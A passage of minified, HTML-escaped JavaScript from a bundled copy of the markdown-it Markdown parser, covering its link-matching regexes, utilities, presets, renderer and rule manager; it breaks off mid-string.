t.src_pseudo_letter=&quot;(?:(?![&gt;&lt;｜]|&quot;+t.src_ZPCc+&quot;)&quot;+t.src_Any+&quot;)&quot;,t.src_ip4=&quot;(?:(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)&quot;,t.src_auth=&quot;(?:(?:(?!&quot;+t.src_ZCc+&quot;|[@/\\[\\]()]).)+@)?&quot;,t.src_port=&quot;(?::(?:6(?:[0-4]\\d{3}|5(?:[0-4]\\d{2}|5(?:[0-2]\\d|3[0-5])))|[1-5]?\\d{1,4}))?&quot;,t.src_host_terminator=&quot;(?=$|[&gt;&lt;｜]|&quot;+t.src_ZPCc+&quot;)(?!&quot;+(e[&quot;---&quot;]?&quot;-(?!--)|&quot;:&quot;-|&quot;)+&quot;_|:\\d|\\.-|\\.(?!$|&quot;+t.src_ZPCc+&quot;))&quot;,t.src_path=&quot;(?:[/?#](?:(?!&quot;+t.src_ZCc+&quot;|&quot;+s+&quot;|[()[\\]{}.,\&quot;&#039;?!\\-;]).|\\[(?:(?!&quot;+t.src_ZCc+&quot;|\\]).)*\\]|\\((?:(?!&quot;+t.src_ZCc+&quot;|[)]).)*\\)|\\{(?:(?!&quot;+t.src_ZCc+&#039;|[}]).)*\\}|\\&quot;(?:(?!&#039;+t.src_ZCc+&#039;|[&quot;]).)+\\&quot;|\\\&#039;(?:(?!&#039;+t.src_ZCc+&quot;|[&#039;]).)+\\&#039;|\\&#039;(?=&quot;+t.src_pseudo_letter+&quot;|[-])|\\.{2,}[a-zA-Z0-9%/&amp;]|\\.(?!&quot;+t.src_ZCc+&quot;|[.]|$)|&quot;+(e[&quot;---&quot;]?&quot;\\-(?!--(?:[^-]|$))(?:-*)|&quot;:&quot;\\-+|&quot;)+&quot;,(?!&quot;+t.src_ZCc+&quot;|$)|;(?!&quot;+t.src_ZCc+&quot;|$)|\\!+(?!&quot;+t.src_ZCc+&quot;|[!]|$)|\\?(?!&quot;+t.src_ZCc+&quot;|[?]|$))+|\\/)?&quot;,t.src_email_name=&#039;[\\-;:&amp;=\\+\\$,\\.a-zA-Z0-9_][\\-;:&amp;=\\+\\$,\\&quot;\\.a-zA-Z0-9_]*&#039;,t.src_xn=&quot;xn--[a-z0-9\\-]{1,59}&quot;,t.src_domain_root=&quot;(?:&quot;+t.src_xn+&quot;|&quot;+t.src_pseudo_letter+&quot;{1,63})&quot;,t.src_domain=&quot;(?:&quot;+t.src_xn+&quot;|(?:&quot;+t.src_pseudo_letter+&quot;)|(?:&quot;+t.src_pseudo_letter+&quot;(?:-|&quot;+t.src_pseudo_letter+&quot;){0,61}&quot;+t.src_pseudo_letter+&quot;))&quot;,t.src_host=&quot;(?:(?:(?:(?:&quot;+t.src_domain+&quot;)\\.)*&quot;+t.src_domain+&quot;))&quot;,t.tpl_host_fuzzy=&quot;(?:&quot;+t.src_ip4+&quot;|(?:(?:(?:&quot;+t.src_domain+&quot;)\\.)+(?:%TLDS%)))&quot;,t.tpl_host_no_ip_fuzzy=&quot;(?:(?:(?:&quot;+t.src_domain+&quot;)\\.)+(?:%TLDS%))&quot;,t.src_host_strict=t.src_host+t.src_host_terminator,t.tpl_host_fuzzy_strict=t.tpl_host_fuzzy+t.src_host_terminator,t.src_host_port_strict=t.src_host+t.src_port+t.src_host_terminator,t.tpl_host_port_fuzzy_strict=t.tpl_host_fuzzy+t.src_port+t.src_host_terminator,t.tpl_host_port_no_ip_fuzzy_strict=t.tpl_host_no_ip_fuzzy+t.src_port+t.src_host_terminator,t.tpl_host_fuzzy_test=&quot;localhost|www\\.|\\.\\d{1,3}\\.|(?:\\.(?:%TLDS%)(?:&quot;+t.src_ZPCc+&quot;|&gt;|$))&quot;,t.tpl_email_fuzzy=&#039;(^|[&gt;&lt;｜]|&quot;|\\(|&#039;+t.src_ZCc+&quot;)(&quot;+t.src_email_name+&quot;@&quot;+t.tpl_host_fuzzy_strict+&quot;)&quot;,t.tpl_link_fuzzy=&quot;(^|(?![.:/\\-_@])(?:[$+&lt;=&gt;^`|｜]|&quot;+t.src_ZPCc+&quot;))((?![$+&lt;=&gt;^`|｜])&quot;+t.tpl_host_port_fuzzy_strict+t.src_path+&quot;)&quot;,t.tpl_link_no_ip_fuzzy=&quot;(^|(?![.:/\\-_@])(?:[$+&lt;=&gt;^`|｜]|&quot;+t.src_ZPCc+&quot;))((?![$+&lt;=&gt;^`|｜])&quot;+t.tpl_host_port_no_ip_fuzzy_strict+t.src_path+&quot;)&quot;,t}},97158(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r.A});var r=s(56838)},84384(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=[&quot;address&quot;,&quot;article&quot;,&quot;aside&quot;,&quot;base&quot;,&quot;basefont&quot;,&quot;blockquote&quot;,&quot;body&quot;,&quot;caption&quot;,&quot;center&quot;,&quot;col&quot;,&quot;colgroup&quot;,&quot;dd&quot;,&quot;details&quot;,&quot;dialog&quot;,&quot;dir&quot;,&quot;div&quot;,&quot;dl&quot;,&quot;dt&quot;,&quot;fieldset&quot;,&quot;figcaption&quot;,&quot;figure&quot;,&quot;footer&quot;,&quot;form&quot;,&quot;frame&quot;,&quot;frameset&quot;,&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;,&quot;head&quot;,&quot;header&quot;,&quot;hr&quot;,&quot;html&quot;,&quot;iframe&quot;,&quot;legend&quot;,&quot;li&quot;,&quot;link&quot;,&quot;main&quot;,&quot;menu&quot;,&quot;menuitem&quot;,&quot;nav&quot;,&quot;noframes&quot;,&quot;ol&quot;,&quot;optgroup&quot;,&quot;option&quot;,&quot;p&quot;,&quot;param&quot;,&quot;search&quot;,&quot;section&quot;,&quot;summary&quot;,&quot;table&quot;,&quot;tbody&quot;,&quot;td&quot;,&quot;tfoot&quot;,&quot;th&quot;,&quot;thead&quot;,&quot;title&quot;,&quot;tr&quot;,&quot;track&quot;,&quot;ul&quot;]},58105(e,t,s){&quot;use strict&quot;;s.d(t,{l:()=&gt;o,p:()=&gt;a});const r=&quot;&lt;[A-Za-z][A-Za-z0-9\\-]*(?:\\s+[a-zA-Z_:][a-zA-Z0-9:._-]*(?:\\s*=\\s*(?:[^\&quot;&#039;=&lt;&gt;`\\x00-\\x20]+|&#039;[^&#039;]*&#039;|\&quot;[^\&quot;]*\&quot;))?)*\\s*\\/?&gt;&quot;,n=&quot;&lt;\\/[A-Za-z][A-Za-z0-9\\-]*\\s*&gt;&quot;,o=new RegExp(&quot;^(?:&quot;+r+&quot;|&quot;+n+&quot;|\x3c!---?&gt;|\x3c!--(?:[^-]|-[^-]|--[^&gt;])*--\x3e|&lt;[?][\\s\\S]*?[?]&gt;|&lt;![A-Za-z][^&gt;]*&gt;|&lt;!\\[CDATA\\[[\\s\\S]*?\\]\\]&gt;)&quot;),a=new RegExp(&quot;^(?:&quot;+r+&quot;|&quot;+n+&quot;)&quot;)},54439(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{arrayReplaceAt:()=&gt;p,assign:()=&gt;d,escapeHtml:()=&gt;_,escapeRE:()=&gt;A,fromCodePoint:()=&gt;m,has:()=&gt;u,isMdAsciiPunct:()=&gt;T,isPunctChar:()=&gt;N,isSpace:()=&gt;S,isString:()=&gt;l,isValidEntityCode:()=&gt;h,isWhiteSpace:()=&gt;E,lib:()=&gt;P,normalizeReference:()=&gt;B,unescapeAll:()=&gt;k,unescapeMd:()=&gt;v});var r=s(25315),n=s(68407),o=s(60804),a=s(47795),i=s(9405);function l(e){return&quot;[object String]&quot;===function(e){return Object.prototype.toString.call(e)}(e)}const c=Object.prototype.hasOwnProperty;function u(e,t){return c.call(e,t)}function d(e){return Array.prototype.slice.call(arguments,1).forEach(function(t){if(t){if(&quot;object&quot;!=typeof t)throw new TypeError(t+&quot;must be object&quot;);Object.keys(t).forEach(function(s){e[s]=t[s]})}}),e}function p(e,t,s){return[].concat(e.slice(0,t),s,e.slice(t+1))}function h(e){return!(e&gt;=55296&amp;&amp;e&lt;=57343)&amp;&amp;(!(e&gt;=64976&amp;&amp;e&lt;=65007)&amp;&amp;(!!(65535&amp;~e&amp;&amp;65534!=(65535&amp;e))&amp;&amp;(!(e&gt;=0&amp;&amp;e&lt;=8)&amp;&amp;(11!==e&amp;&amp;(!(e&gt;=14&amp;&amp;e&lt;=31)&amp;&amp;(!(e&gt;=127&amp;&amp;e&lt;=159)&amp;&amp;!(e&gt;1114111)))))))}function m(e){if(e&gt;65535){const t=55296+((e-=65536)&gt;&gt;10),s=56320+(1023&amp;e);return String.fromCharCode(t,s)}return String.fromCharCode(e)}const g=/\\([!&quot;#$%&amp;&#039;()*+,\-./:;&lt;=&gt;?@[\\\]^_`{|}~])/g,f=new RegExp(g.source+&quot;|&quot;+/&amp;([a-z#][a-z0-9]{1,31});/gi.source,&quot;gi&quot;),b=/^#((?:x[a-f0-9]{1,8}|[0-9]{1,8}))$/i;function v(e){return e.indexOf(&quot;\\&quot;)&lt;0?e:e.replace(g,&quot;$1&quot;)}function k(e){return e.indexOf(&quot;\\&quot;)&lt;0&amp;&amp;e.indexOf(&quot;&amp;&quot;)&lt;0?e:e.replace(f,function(e,t,s){return t||function(e,t){if(35===t.charCodeAt(0)&amp;&amp;b.test(t)){const s=&quot;x&quot;===t[1].toLowerCase()?parseInt(t.slice(2),16):parseInt(t.slice(1),10);return h(s)?m(s):e}const s=(0,i.Gz)(e);return s!==e?s:e}(e,s)})}const y=/[&amp;&lt;&gt;&quot;]/,x=/[&amp;&lt;&gt;&quot;]/g,j={&quot;&amp;&quot;:&quot;&amp;amp;&quot;,&quot;&lt;&quot;:&quot;&amp;lt;&quot;,&quot;&gt;&quot;:&quot;&amp;gt;&quot;,&#039;&quot;&#039;:&quot;&amp;quot;&quot;};function w(e){return j[e]}function _(e){return y.test(e)?e.replace(x,w):e}const C=/[.?*+^$[\]\\(){}|-]/g;function A(e){return e.replace(C,&quot;\\$&amp;&quot;)}function S(e){switch(e){case 9:case 32:return!0}return!1}function E(e){if(e&gt;=8192&amp;&amp;e&lt;=8202)return!0;switch(e){case 9:case 10:case 11:case 12:case 13:case 32:case 160:case 5760:case 8239:case 8287:case 12288:return!0}return!1}function N(e){return o.A.test(e)||a.A.test(e)}function T(e){switch(e){case 33:case 34:case 35:case 36:case 37:case 38:case 39:case 40:case 41:case 42:case 43:case 44:case 45:case 46:case 47:case 58:case 59:case 60:case 61:case 62:case 63:case 64:case 91:case 92:case 93:case 94:case 95:case 96:case 123:case 124:case 125:case 126:return!0;default:return!1}}function B(e){return e=e.trim().replace(/\s+/g,&quot; &quot;),&quot;Ṿ&quot;===&quot;ẞ&quot;.toLowerCase()&amp;&amp;(e=e.replace(/ẞ/g,&quot;ß&quot;)),e.toLowerCase().toUpperCase()}const P={mdurl:r,ucmicro:n}},80016(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{parseLinkDestination:()=&gt;n.A,parseLinkLabel:()=&gt;r.A,parseLinkTitle:()=&gt;o.A});var r=s(65739),n=s(39945),o=s(8859)},39945(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(54439);function n(e,t,s){let n,o=t;const a={ok:!1,pos:0,str:&quot;&quot;};if(60===e.charCodeAt(o)){for(o++;o&lt;s;){if(n=e.charCodeAt(o),10===n)return a;if(60===n)return a;if(62===n)return a.pos=o+1,a.str=(0,r.unescapeAll)(e.slice(t+1,o)),a.ok=!0,a;92===n&amp;&amp;o+1&lt;s?o+=2:o++}return a}let i=0;for(;o&lt;s&amp;&amp;(n=e.charCodeAt(o),32!==n)&amp;&amp;!(n&lt;32||127===n);)if(92===n&amp;&amp;o+1&lt;s){if(32===e.charCodeAt(o+1))break;o+=2}else{if(40===n&amp;&amp;(i++,i&gt;32))return a;if(41===n){if(0===i)break;i--}o++}return t===o||0!==i||(a.str=(0,r.unescapeAll)(e.slice(t,o)),a.pos=o,a.ok=!0),a}},65739(e,t,s){&quot;use strict&quot;;function r(e,t,s){let r,n,o,a;const i=e.posMax,l=e.pos;for(e.pos=t+1,r=1;e.pos&lt;i;){if(o=e.src.charCodeAt(e.pos),93===o&amp;&amp;(r--,0===r)){n=!0;break}if(a=e.pos,e.md.inline.skipToken(e),91===o)if(a===e.pos-1)r++;else if(s)return e.pos=l,-1}let c=-1;return n&amp;&amp;(c=e.pos),e.pos=l,c}s.d(t,{A:()=&gt;r})},8859(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(54439);function n(e,t,s,n){let o,a=t;const i={ok:!1,can_continue:!1,pos:0,str:&quot;&quot;,marker:0};if(n)i.str=n.str,i.marker=n.marker;else{if(a&gt;=s)return i;let r=e.charCodeAt(a);if(34!==r&amp;&amp;39!==r&amp;&amp;40!==r)return i;t++,a++,40===r&amp;&amp;(r=41),i.marker=r}for(;a&lt;s;){if(o=e.charCodeAt(a),o===i.marker)return i.pos=a+1,i.str+=(0,r.unescapeAll)(e.slice(t,a)),i.ok=!0,i;if(40===o&amp;&amp;41===i.marker)return i;92===o&amp;&amp;a+1&lt;s&amp;&amp;a++,a++}return i.can_continue=!0,i.str+=(0,r.unescapeAll)(e.slice(t,a)),i}},56838(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;w});var r=s(54439),n=s(80016),o=s(71455),a=s(55439),i=s(60737),l=s(42813),c=s(7237),u=s(25315),d=s(87072),p=s(69404),h=s(8079),m=s(26881);const g={default:p.A,zero:h.A,commonmark:m.A},f=/^(vbscript|javascript|file|data):/,b=/^data:image\/(gif|png|jpeg|webp);/;function v(e){const t=e.trim().toLowerCase();return!f.test(t)||b.test(t)}const k=[&quot;http:&quot;,&quot;https:&quot;,&quot;mailto:&quot;];function y(e){const t=u.parse(e,!0);if(t.hostname&amp;&amp;(!t.protocol||k.indexOf(t.protocol)&gt;=0))try{t.hostname=d.Ay.toASCII(t.hostname)}catch(e){}return u.encode(u.format(t))}function x(e){const t=u.parse(e,!0);if(t.hostname&amp;&amp;(!t.protocol||k.indexOf(t.protocol)&gt;=0))try{t.hostname=d.Ay.toUnicode(t.hostname)}catch(e){}return u.decode(u.format(t),u.decode.defaultChars+&quot;%&quot;)}function j(e,t){if(!(this instanceof j))return new j(e,t);t||r.isString(e)||(t=e||{},e=&quot;default&quot;),this.inline=new l.A,this.block=new i.A,this.core=new a.A,this.renderer=new o.A,this.linkify=new c.A,this.validateLink=v,this.normalizeLink=y,this.normalizeLinkText=x,this.utils=r,this.helpers=r.assign({},n),this.options={},this.configure(e),t&amp;&amp;this.set(t)}j.prototype.set=function(e){return r.assign(this.options,e),this},j.prototype.configure=function(e){const t=this;if(r.isString(e)){const t=e;if(!(e=g[t]))throw new Error(&#039;Wrong `markdown-it` preset &quot;&#039;+t+&#039;&quot;, check name&#039;)}if(!e)throw new Error(&quot;Wrong `markdown-it` preset, can&#039;t be empty&quot;);return e.options&amp;&amp;t.set(e.options),e.components&amp;&amp;Object.keys(e.components).forEach(function(s){e.components[s].rules&amp;&amp;t[s].ruler.enableOnly(e.components[s].rules),e.components[s].rules2&amp;&amp;t[s].ruler2.enableOnly(e.components[s].rules2)}),this},j.prototype.enable=function(e,t){let s=[];Array.isArray(e)||(e=[e]),[&quot;core&quot;,&quot;block&quot;,&quot;inline&quot;].forEach(function(t){s=s.concat(this[t].ruler.enable(e,!0))},this),s=s.concat(this.inline.ruler2.enable(e,!0));const r=e.filter(function(e){return s.indexOf(e)&lt;0});if(r.length&amp;&amp;!t)throw new Error(&quot;MarkdownIt. Failed to enable unknown rule(s): &quot;+r);return this},j.prototype.disable=function(e,t){let s=[];Array.isArray(e)||(e=[e]),[&quot;core&quot;,&quot;block&quot;,&quot;inline&quot;].forEach(function(t){s=s.concat(this[t].ruler.disable(e,!0))},this),s=s.concat(this.inline.ruler2.disable(e,!0));const r=e.filter(function(e){return s.indexOf(e)&lt;0});if(r.length&amp;&amp;!t)throw new Error(&quot;MarkdownIt. Failed to disable unknown rule(s): &quot;+r);return this},j.prototype.use=function(e){const t=[this].concat(Array.prototype.slice.call(arguments,1));return e.apply(e,t),this},j.prototype.parse=function(e,t){if(&quot;string&quot;!=typeof e)throw new Error(&quot;Input data should be a String&quot;);const s=new this.core.State(e,this,t);return this.core.process(s),s.tokens},j.prototype.render=function(e,t){return t=t||{},this.renderer.render(this.parse(e,t),this.options,t)},j.prototype.parseInline=function(e,t){const s=new this.core.State(e,this,t);return s.inlineMode=!0,this.core.process(s),s.tokens},j.prototype.renderInline=function(e,t){return t=t||{},this.renderer.render(this.parseInline(e,t),this.options,t)};const w=j},60737(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;v});var r=s(79358),n=s(52961),o=s(20712),a=s(47103),i=s(36283),l=s(97537),c=s(79062),u=s(25792),d=s(43863),p=s(72577),h=s(13318),m=s(94206),g=s(94970);const f=[[&quot;table&quot;,o.A,[&quot;paragraph&quot;,&quot;reference&quot;]],[&quot;code&quot;,a.A],[&quot;fence&quot;,i.A,[&quot;paragraph&quot;,&quot;reference&quot;,&quot;blockquote&quot;,&quot;list&quot;]],[&quot;blockquote&quot;,l.A,[&quot;paragraph&quot;,&quot;reference&quot;,&quot;blockquote&quot;,&quot;list&quot;]],[&quot;hr&quot;,c.A,[&quot;paragraph&quot;,&quot;reference&quot;,&quot;blockquote&quot;,&quot;list&quot;]],[&quot;list&quot;,u.A,[&quot;paragraph&quot;,&quot;reference&quot;,&quot;blockquote&quot;]],[&quot;reference&quot;,d.A],[&quot;html_block&quot;,p.A,[&quot;paragraph&quot;,&quot;reference&quot;,&quot;blockquote&quot;]],[&quot;heading&quot;,h.A,[&quot;paragraph&quot;,&quot;reference&quot;,&quot;blockquote&quot;]],[&quot;lheading&quot;,m.A],[&quot;paragraph&quot;,g.A]];function b(){this.ruler=new r.A;for(let e=0;e&lt;f.length;e++)this.ruler.push(f[e][0],f[e][1],{alt:(f[e][2]||[]).slice()})}b.prototype.tokenize=function(e,t,s){const r=this.ruler.getRules(&quot;&quot;),n=r.length,o=e.md.options.maxNesting;let a=t,i=!1;for(;a&lt;s&amp;&amp;(e.line=a=e.skipEmptyLines(a),!(a&gt;=s))&amp;&amp;!(e.sCount[a]&lt;e.blkIndent);){if(e.level&gt;=o){e.line=s;break}const t=e.line;let l=!1;for(let o=0;o&lt;n;o++)if(l=r[o](e,a,s,!1),l){if(t&gt;=e.line)throw new Error(&quot;block rule didn&#039;t increment state.line&quot;);break}if(!l)throw new Error(&quot;none of the block rules matched&quot;);e.tight=!i,e.isEmpty(e.line-1)&amp;&amp;(i=!0),a=e.line,a&lt;s&amp;&amp;e.isEmpty(a)&amp;&amp;(i=!0,a++,e.line=a)}},b.prototype.parse=function(e,t,s,r){if(!e)return;const n=new this.State(e,t,s,r);this.tokenize(n,n.line,n.lineMax)},b.prototype.State=n.A;const v=b},55439(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(79358),n=s(37569),o=s(2699),a=s(79417),i=s(85189),l=s(96084),c=s(48541),u=s(55834),d=s(11242);const p=[[&quot;normalize&quot;,o.A],[&quot;block&quot;,a.A],[&quot;inline&quot;,i.A],[&quot;linkify&quot;,l.A],[&quot;replacements&quot;,c.A],[&quot;smartquotes&quot;,u.A],[&quot;text_join&quot;,d.A]];function h(){this.ruler=new r.A;for(let e=0;e&lt;p.length;e++)this.ruler.push(p[e][0],p[e][1])}h.prototype.process=function(e){const t=this.ruler.getRules(&quot;&quot;);for(let s=0,r=t.length;s&lt;r;s++)t[s](e)},h.prototype.State=n.A;const m=h},42813(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;j});var r=s(79358),n=s(60057),o=s(68597),a=s(44938),i=s(94076),l=s(17785),c=s(38797),u=s(50925),d=s(62206),p=s(22128),h=s(74427),m=s(85469),g=s(7105),f=s(41517),b=s(76014),v=s(70322);const k=[[&quot;text&quot;,o.A],[&quot;linkify&quot;,a.A],[&quot;newline&quot;,i.A],[&quot;escape&quot;,l.A],[&quot;backticks&quot;,c.A],[&quot;strikethrough&quot;,u.A.tokenize],[&quot;emphasis&quot;,d.A.tokenize],[&quot;link&quot;,p.A],[&quot;image&quot;,h.A],[&quot;autolink&quot;,m.A],[&quot;html_inline&quot;,g.A],[&quot;entity&quot;,f.A]],y=[[&quot;balance_pairs&quot;,b.A],[&quot;strikethrough&quot;,u.A.postProcess],[&quot;emphasis&quot;,d.A.postProcess],[&quot;fragments_join&quot;,v.A]];function x(){this.ruler=new r.A;for(let e=0;e&lt;k.length;e++)this.ruler.push(k[e][0],k[e][1]);this.ruler2=new r.A;for(let e=0;e&lt;y.length;e++)this.ruler2.push(y[e][0],y[e][1])}x.prototype.skipToken=function(e){const t=e.pos,s=this.ruler.getRules(&quot;&quot;),r=s.length,n=e.md.options.maxNesting,o=e.cache;if(void 0!==o[t])return void(e.pos=o[t]);let a=!1;if(e.level&lt;n){for(let n=0;n&lt;r;n++)if(e.level++,a=s[n](e,!0),e.level--,a){if(t&gt;=e.pos)throw new Error(&quot;inline rule didn&#039;t increment state.pos&quot;);break}}else e.pos=e.posMax;a||e.pos++,o[t]=e.pos},x.prototype.tokenize=function(e){const t=this.ruler.getRules(&quot;&quot;),s=t.length,r=e.posMax,n=e.md.options.maxNesting;for(;e.pos&lt;r;){const o=e.pos;let a=!1;if(e.level&lt;n)for(let r=0;r&lt;s;r++)if(a=t[r](e,!1),a){if(o&gt;=e.pos)throw new Error(&quot;inline rule didn&#039;t increment state.pos&quot;);break}if(a){if(e.pos&gt;=r)break}else e.pending+=e.src[e.pos++]}e.pending&amp;&amp;e.pushPending()},x.prototype.parse=function(e,t,s,r){const n=new this.State(e,t,s,r);this.tokenize(n);const o=this.ruler2.getRules(&quot;&quot;),a=o.length;for(let e=0;e&lt;a;e++)o[e](n)},x.prototype.State=n.A;const j=x},26881(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={options:{html:!0,xhtmlOut:!0,breaks:!1,langPrefix:&quot;language-&quot;,linkify:!1,typographer:!1,quotes:&quot;“”‘’&quot;,highlight:null,maxNesting:20},components:{core:{rules:[&quot;normalize&quot;,&quot;block&quot;,&quot;inline&quot;,&quot;text_join&quot;]},block:{rules:[&quot;blockquote&quot;,&quot;code&quot;,&quot;fence&quot;,&quot;heading&quot;,&quot;hr&quot;,&quot;html_block&quot;,&quot;lheading&quot;,&quot;list&quot;,&quot;reference&quot;,&quot;paragraph&quot;]},inline:{rules:[&quot;autolink&quot;,&quot;backticks&quot;,&quot;emphasis&quot;,&quot;entity&quot;,&quot;escape&quot;,&quot;html_inline&quot;,&quot;image&quot;,&quot;link&quot;,&quot;newline&quot;,&quot;text&quot;],rules2:[&quot;balance_pairs&quot;,&quot;emphasis&quot;,&quot;fragments_join&quot;]}}}},69404(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={options:{html:!1,xhtmlOut:!1,breaks:!1,langPrefix:&quot;language-&quot;,linkify:!1,typographer:!1,quotes:&quot;“”‘’&quot;,highlight:null,maxNesting:100},components:{core:{},block:{},inline:{}}}},8079(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={options:{html:!1,xhtmlOut:!1,breaks:!1,langPrefix:&quot;language-&quot;,linkify:!1,typographer:!1,quotes:&quot;“”‘’&quot;,highlight:null,maxNesting:20},components:{core:{rules:[&quot;normalize&quot;,&quot;block&quot;,&quot;inline&quot;,&quot;text_join&quot;]},block:{rules:[&quot;paragraph&quot;]},inline:{rules:[&quot;text&quot;],rules2:[&quot;balance_pairs&quot;,&quot;fragments_join&quot;]}}}},71455(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(54439);const n={};function o(){this.rules=(0,r.assign)({},n)}n.code_inline=function(e,t,s,n,o){const a=e[t];return&quot;&lt;code&quot;+o.renderAttrs(a)+&quot;&gt;&quot;+(0,r.escapeHtml)(a.content)+&quot;&lt;/code&gt;&quot;},n.code_block=function(e,t,s,n,o){const a=e[t];return&quot;&lt;pre&quot;+o.renderAttrs(a)+&quot;&gt;&lt;code&gt;&quot;+(0,r.escapeHtml)(e[t].content)+&quot;&lt;/code&gt;&lt;/pre&gt;\n&quot;},n.fence=function(e,t,s,n,o){const a=e[t],i=a.info?(0,r.unescapeAll)(a.info).trim():&quot;&quot;;let l,c=&quot;&quot;,u=&quot;&quot;;if(i){const e=i.split(/(\s+)/g);c=e[0],u=e.slice(2).join(&quot;&quot;)}if(l=s.highlight&amp;&amp;s.highlight(a.content,c,u)||(0,r.escapeHtml)(a.content),0===l.indexOf(&quot;&lt;pre&quot;))return l+&quot;\n&quot;;if(i){const e=a.attrIndex(&quot;class&quot;),t=a.attrs?a.attrs.slice():[];e&lt;0?t.push([&quot;class&quot;,s.langPrefix+c]):(t[e]=t[e].slice(),t[e][1]+=&quot; &quot;+s.langPrefix+c);const r={attrs:t};return`&lt;pre&gt;&lt;code${o.renderAttrs(r)}&gt;${l}&lt;/code&gt;&lt;/pre&gt;\n`}return`&lt;pre&gt;&lt;code${o.renderAttrs(a)}&gt;${l}&lt;/code&gt;&lt;/pre&gt;\n`},n.image=function(e,t,s,r,n){const o=e[t];return o.attrs[o.attrIndex(&quot;alt&quot;)][1]=n.renderInlineAsText(o.children,s,r),n.renderToken(e,t,s)},n.hardbreak=function(e,t,s){return s.xhtmlOut?&quot;&lt;br /&gt;\n&quot;:&quot;&lt;br&gt;\n&quot;},n.softbreak=function(e,t,s){return s.breaks?s.xhtmlOut?&quot;&lt;br /&gt;\n&quot;:&quot;&lt;br&gt;\n&quot;:&quot;\n&quot;},n.text=function(e,t){return(0,r.escapeHtml)(e[t].content)},n.html_block=function(e,t){return e[t].content},n.html_inline=function(e,t){return e[t].content},o.prototype.renderAttrs=function(e){let t,s,n;if(!e.attrs)return&quot;&quot;;for(n=&quot;&quot;,t=0,s=e.attrs.length;t&lt;s;t++)n+=&quot; &quot;+(0,r.escapeHtml)(e.attrs[t][0])+&#039;=&quot;&#039;+(0,r.escapeHtml)(e.attrs[t][1])+&#039;&quot;&#039;;return n},o.prototype.renderToken=function(e,t,s){const r=e[t];let n=&quot;&quot;;if(r.hidden)return&quot;&quot;;r.block&amp;&amp;-1!==r.nesting&amp;&amp;t&amp;&amp;e[t-1].hidden&amp;&amp;(n+=&quot;\n&quot;),n+=(-1===r.nesting?&quot;&lt;/&quot;:&quot;&lt;&quot;)+r.tag,n+=this.renderAttrs(r),0===r.nesting&amp;&amp;s.xhtmlOut&amp;&amp;(n+=&quot; /&quot;);let o=!1;if(r.block&amp;&amp;(o=!0,1===r.nesting&amp;&amp;t+1&lt;e.length)){const s=e[t+1];(&quot;inline&quot;===s.type||s.hidden||-1===s.nesting&amp;&amp;s.tag===r.tag)&amp;&amp;(o=!1)}return n+=o?&quot;&gt;\n&quot;:&quot;&gt;&quot;,n},o.prototype.renderInline=function(e,t,s){let r=&quot;&quot;;const n=this.rules;for(let o=0,a=e.length;o&lt;a;o++){const a=e[o].type;void 0!==n[a]?r+=n[a](e,o,t,s,this):r+=this.renderToken(e,o,t)}return r},o.prototype.renderInlineAsText=function(e,t,s){let r=&quot;&quot;;for(let n=0,o=e.length;n&lt;o;n++)switch(e[n].type){case&quot;text&quot;:case&quot;html_inline&quot;:case&quot;html_block&quot;:r+=e[n].content;break;case&quot;image&quot;:r+=this.renderInlineAsText(e[n].children,t,s);break;case&quot;softbreak&quot;:case&quot;hardbreak&quot;:r+=&quot;\n&quot;}return r},o.prototype.render=function(e,t,s){let r=&quot;&quot;;const n=this.rules;for(let o=0,a=e.length;o&lt;a;o++){const a=e[o].type;&quot;inline&quot;===a?r+=this.renderInline(e[o].children,t,s):void 0!==n[a]?r+=n[a](e,o,t,s,this):r+=this.renderToken(e,o,t,s)}return r};const a=o},79358(e,t,s){&quot;use strict&quot;;function r(){this.__rules__=[],this.__cache__=null}s.d(t,{A:()=&gt;n}),r.prototype.__find__=function(e){for(let t=0;t&lt;this.__rules__.length;t++)if(this.__rules__[t].name===e)return t;return-1},r.prototype.__compile__=function(){const e=this,t=[&quot;&quot;];e.__rules__.forEach(function(e){e.enabled&amp;&amp;e.alt.forEach(function(e){t.indexOf(e)&lt;0&amp;&amp;t.push(e)})}),e.__cache__={},t.forEach(function(t){e.__cache__[t]=[],e.__rules__.forEach(function(s){s.enabled&amp;&amp;(t&amp;&amp;s.alt.indexOf(t)&lt;0||e.__cache__[t].push(s.fn))})})},r.prototype.at=function(e,t,s){const r=this.__find__(e),n=s||{};if(-1===r)throw new Error(&quot;Parser rule not found: &quot;+e);this.__rules__[r].fn=t,this.__rules__[r].alt=n.alt||[],this.__cache__=null},r.prototype.before=function(e,t,s,r){const n=this.__find__(e),o=r||{};if(-1===n)throw new Error(&quot;Parser rule not found: &quot;+e);this.__rules__.splice(n,0,{name:t,enabled:!0,fn:s,alt:o.alt||[]}),this.__cache__=null},r.prototype.after=function(e,t,s,r){const n=this.__find__(e),o=r||{};if(-1===n)throw new Error(&quot;Parser rule not found: &quot;+e);this.__rules__.splice(n+1,0,{name:t,enabled:!0,fn:s,alt:o.alt||[]}),this.__cache__=null},r.prototype.push=function(e,t,s){const r=s||{};this.__rules__.push({name:e,enabled:!0,fn:t,alt:r.alt||[]}),this.__cache__=null},r.prototype.enable=function(e,t){Array.isArray(e)||(e=[e]);const s=[];return e.forEach(function(e){const r=this.__find__(e);if(r&lt;0){if(t)return;throw new Error(&quot;Rules manager: invalid rule name 